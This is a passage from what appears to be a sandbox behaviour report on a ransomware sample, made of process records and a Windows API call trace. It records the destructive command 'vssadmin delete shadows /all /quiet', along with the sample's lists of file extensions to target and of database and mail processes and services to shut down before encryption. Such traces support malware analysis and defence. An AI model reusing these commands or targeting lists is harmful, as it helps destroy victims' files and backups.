"0x1a64d000" os_pid = "0xdec" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xd34" cmd_line = "mode con cp select=1251" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0xdf0 Thread: id = 69 os_tid = 0xe00 Thread: id = 70 os_tid = 0xe04 Process: id = "12" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x338d8000" os_pid = "0x56c" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0xd14" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000eb59" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 71 os_tid = 0x994 Thread: id = 72 os_tid = 0x844 Thread: id = 73 os_tid = 0xa24 Thread: id = 74 os_tid = 0xa18 Thread: id = 75 os_tid = 0xa14 Thread: id = 76 os_tid = 0x618 Thread: id = 77 os_tid = 0x614 Thread: id = 78 os_tid = 0x604 Thread: id = 79 os_tid = 0x600 Thread: id = 80 os_tid = 0x5fc Thread: id = 81 os_tid = 0x574 Thread: id = 82 os_tid = 0x570 Process: id = "13" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x1cc05000" os_pid = "0xe28" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xd34" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 83 os_tid = 0xe2c Thread: id = 84 os_tid = 0xe34 Thread: id = 85 os_tid = 0xe54 Thread: id = 86 os_tid = 0xe5c Thread: id = 87 os_tid = 0xe60 Process: id = "14" image_name = "chrome64b.exe" filename = "c:\\windows\\system32\\chrome64b.exe" page_root = "0x34e08000" os_pid = "0xf58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd14" cmd_line = "\"C:\\Windows\\System32\\chrome64b.exe\" -a" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0xf5c [0289.900] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76650000 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetProcAddress") returned 0x766651b0 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleHandleW") returned 0x766650d0 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="FindNextFileW") returned 0x766bee40 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="FindClose") returned 0x766bed70 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="MoveFileW") returned 0x7669e500 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetFileSizeEx") returned 0x766bef40 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleFileNameW") returned 0x76665090 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetFileAttributesW") returned 0x766bef10 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="ExitProcess") returned 0x76663cb0 [0289.900] GetProcAddress (hModule=0x76650000, lpProcName="GetCommandLineW") returned 0x76664cc0 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameW") returned 0x766932c0 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameA") returned 0x76693780 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="CreateMutexW") returned 0x766beb70 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenW") returned 0x76666c70 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenA") returned 0x76666c50 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcess") returned 0x766bea10 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="WaitForSingleObject") returned 0x766beca0 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="GetLogicalDrives") returned 0x76660d20 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="GetTickCount") returned 0x766bdd50 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="DeleteFileW") returned 0x766bed40 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="WideCharToMultiByte") returned 0x76666b10 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x766bebb0 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="Sleep") returned 0x76666760 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="LeaveCriticalSection") returned 0x774db250 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="ReadFile") returned 0x766bf090 [0289.901] GetProcAddress (hModule=0x76650000, lpProcName="CreateFileW") returned 0x766bed10 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="OpenMutexW") returned 0x766bebf0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="EnterCriticalSection") returned 0x774db2d0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="WaitForMultipleObjects") returned 0x766bec80 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiW") returned 0x76666bf0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiA") returned 0x76666bd0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="DeleteCriticalSection") returned 0x774bfb90 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="ReleaseMutex") returned 0x766bec20 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="CloseHandle") returned 0x766beab0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="GetVersion") returned 0x766656c0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="CreateThread") returned 0x766646b0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="ExpandEnvironmentStringsW") returned 0x76664a40 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceCounter") returned 0x76665da0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceFrequency") returned 0x76665dc0 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcessId") returned 0x766bea20 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="SetFileAttributesW") returned 0x766bf100 [0289.902] GetProcAddress (hModule=0x76650000, lpProcName="GetVolumeInformationW") returned 0x766bf020 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="WriteFile") returned 0x766bf180 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="SetFilePointerEx") returned 0x766bf130 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="SetEndOfFile") returned 0x766bf0e0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="FindFirstFileW") returned 0x766bedf0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="GetProcessHeap") returned 0x766651f0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="HeapReAlloc") returned 0x774cf630 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="HeapAlloc") returned 0x774d2dc0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="HeapFree") returned 0x766657f0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="CreatePipe") returned 0x76664590 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="SetHandleInformation") returned 0x766beae0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="CreateProcessW") returned 0x76664610 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringW") returned 0x76664430 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringA") returned 0x76664410 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="OpenProcess") returned 0x76665cc0 [0289.903] GetProcAddress (hModule=0x76650000, lpProcName="TerminateProcess") returned 0x766667e0 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="GetSystemTime") returned 0x766654e0 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="SystemTimeToFileTime") returned 0x766667a0 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="GetLastError") returned 0x76665010 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="CreateToolhelp32Snapshot") returned 0x7669edc0 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="Process32NextW") returned 0x7669f8f0 [0289.904] GetProcAddress (hModule=0x76650000, lpProcName="Process32FirstW") returned 0x7669f750 [0289.904] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76190000 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="RegOpenKeyExW") returned 0x761ae580 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="RegQueryValueExW") returned 0x761ae5a0 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="RegSetValueExW") returned 0x761af530 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="RegCloseKey") returned 0x761aed60 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="OpenProcessToken") returned 0x761aefb0 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="GetTokenInformation") returned 0x761aee90 [0289.924] GetProcAddress (hModule=0x76190000, lpProcName="OpenSCManagerW") returned 0x761b0540 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="OpenServiceW") returned 0x761afa20 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="CloseServiceHandle") returned 0x761afc00 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="ControlService") returned 0x761c26d0 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="QueryServiceStatus") returned 0x761b2380 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="EnumDependentServicesW") returned 0x761c2f70 [0289.925] GetProcAddress (hModule=0x76190000, lpProcName="EnumServicesStatusExW") returned 0x761afc80 [0289.925] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76050000 [0290.177] GetProcAddress (hModule=0x76050000, lpProcName="SystemParametersInfoW") returned 0x7607f210 [0290.177] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73f80000 [0290.209] GetProcAddress (hModule=0x73f80000, lpProcName="ShellExecuteExW") returned 0x740e4730 [0290.209] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77490000 [0290.209] GetProcAddress (hModule=0x77490000, lpProcName="NtQuerySystemInformation") returned 0x77502070 [0290.209] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73e90000 [0290.212] GetProcAddress (hModule=0x73e90000, lpProcName="WNetCloseEnum") returned 0x73e92640 [0290.212] GetProcAddress (hModule=0x73e90000, lpProcName="WNetOpenEnumW") returned 0x73e92790 [0290.212] GetProcAddress (hModule=0x73e90000, lpProcName="WNetEnumResourceW") returned 0x73e92410 [0290.212] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ea0000 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="WSAStartup") returned 0x75ea5b40 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="socket") returned 0x75eb4510 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="send") returned 0x75ea5030 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="recv") returned 0x75eb0c50 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="connect") returned 0x75ea5410 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="closesocket") returned 0x75eb0910 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="gethostbyname") returned 0x75ed6cb0 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="inet_addr") returned 0x75eb9160 [0290.292] GetProcAddress (hModule=0x75ea0000, lpProcName="ntohl") returned 0x75ea49d0 [0290.293] GetProcAddress (hModule=0x75ea0000, lpProcName="htonl") returned 0x75ea49d0 [0290.293] GetProcAddress (hModule=0x75ea0000, lpProcName="htons") returned 0x75eb8ff0 [0290.293] GetProcessHeap () returned 0x700000 [0290.293] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x20) returned 0x712de0 [0290.293] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=10088978775) returned 1 [0290.293] GetTickCount () returned 0x189fb [0290.293] GetCurrentProcessId () returned 0xf58 [0290.295] GetTickCount () returned 0x189fb [0290.295] GetTickCount () returned 0x189fb [0290.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x20) returned 0x712e08 [0290.295] GetVersion () returned 0x23f00206 [0290.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x7) returned 0x7100b0 [0290.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x711e90 [0290.295] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711e90, Size=0x20) returned 0x705c78 [0290.295] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x705c78, Size=0x40) returned 0x705c78 [0290.295] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x717fa0 [0290.296] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6A") returned 0x1e4 [0290.296] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7100b0 | out: hHeap=0x700000) returned 1 [0290.296] lstrlenW (lpString="Global\\syncronize_") returned 18 [0290.296] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x705c78 | out: hHeap=0x700000) returned 1 [0290.296] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x7) returned 0x7100a0 [0290.296] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x711fe0 [0290.296] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711fe0, Size=0x20) returned 0x705c78 [0290.296] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x705c78, Size=0x40) returned 0x705c78 [0290.296] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x727fa8 [0290.296] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6U") returned 0x1e8 [0290.297] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7100a0 | out: hHeap=0x700000) returned 1 [0290.297] lstrlenW (lpString="Global\\syncronize_") returned 18 [0290.297] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x705c78 | out: hHeap=0x700000) returned 1 [0290.297] GetVersion () returned 0x23f00206 [0290.297] GetCurrentProcess () returned 0xffffffff [0290.297] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1ec) returned 1 [0290.297] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0290.297] CloseHandle (hObject=0x1ec) returned 1 [0290.297] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0290.297] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x3e8) returned 0x0 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x713060 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x711fe0 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711fe0, Size=0x20) returned 0x705c78 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x705c78, Size=0x40) returned 0x705c78 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x705c78, Size=0x80) returned 0x707488 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x707488, Size=0x100) returned 0x711a80 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x34) returned 0x7158e8 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100b0 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100f0 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x710080 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x711e48 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x710160 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711fe0 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x710160, Size=0x8) returned 0x710090 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x711e78 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x710090, Size=0x10) returned 0x711e60 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711de8 [0290.297] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711e18 [0290.297] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711e60, Size=0x20) returned 0x705c78 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x711e30 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x712070 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100b0, Size=0x8) returned 0x710160 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100f0, Size=0x8) returned 0x710090 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x7100a0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x712088 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100b0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711e90 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100b0, Size=0x8) returned 0x710170 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7120a0 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x710170, Size=0x10) returned 0x711e00 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711e60 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x7100f0 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711e00, Size=0x20) returned 0x705ca0 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x710160, Size=0x10) returned 0x711e00 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x710090, Size=0x10) returned 0x711ec0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x710160 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x712160 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100b0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x712100 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100b0, Size=0x8) returned 0x710090 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x710170 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x712178 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100b0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7120b8 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100b0, Size=0x8) returned 0x7100c0 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711e00, Size=0x20) returned 0x705cc8 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x711ec0, Size=0x20) returned 0x705d08 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x710180 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x711ec0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x7100b0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x711e00 [0290.298] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7100b0, Size=0x8) returned 0x710190 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x7131c0 [0290.298] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x7130e0 [0290.298] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0290.299] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x711a80 | out: hHeap=0x700000) returned 1 [0290.299] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x712130 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712130, Size=0x20) returned 0x738168 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738168, Size=0x40) returned 0x712690 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712690, Size=0x80) returned 0x73d4d0 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d4d0, Size=0x100) returned 0x73d4d0 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7120d0 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7120d0, Size=0x20) returned 0x7381b8 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7381b8, Size=0x40) returned 0x712cc0 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712cc0, Size=0x80) returned 0x73d5d8 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d5d8, Size=0x100) returned 0x73d5d8 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x712118 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x73c740 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x7120d0 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c740, Size=0x8) returned 0x73c790 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x713100 [0290.302] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c790, Size=0x10) returned 0x712148 [0290.302] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x18) returned 0x712fe0 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1a) returned 0x7382a8 [0290.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712148, Size=0x20) returned 0x738370 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c) returned 0x737fd8 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x16) returned 0x712ee0 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1a) returned 0x738000 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x7120e8 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x73c6a0 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40) returned 0x712918 [0290.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c6a0, Size=0x8) returned 0x73c790 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x3c) returned 0x712768 [0290.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c790, Size=0x10) returned 0x712130 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x14) returned 0x712e80 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x18) returned 0x713220 [0290.303] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712130, Size=0x20) returned 0x738280 [0290.303] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x24) returned 0x713448 [0290.303] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0290.303] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73d4d0 | out: hHeap=0x700000) returned 1 [0290.303] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0290.303] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73d5d8 | out: hHeap=0x700000) returned 1 [0290.303] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x738230 [0290.306] EnumServicesStatusExW (in: hSCManager=0x738230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0290.307] GetLastError () returned 0xea [0290.307] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x73f8b8 [0290.307] EnumServicesStatusExW (in: hSCManager=0x738230, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x73f8b8, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x73f8b8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0290.308] CloseServiceHandle (hSCObject=0x738230) returned 1 [0290.309] lstrlenW (lpString="Appinfo") returned 7 [0290.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0290.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 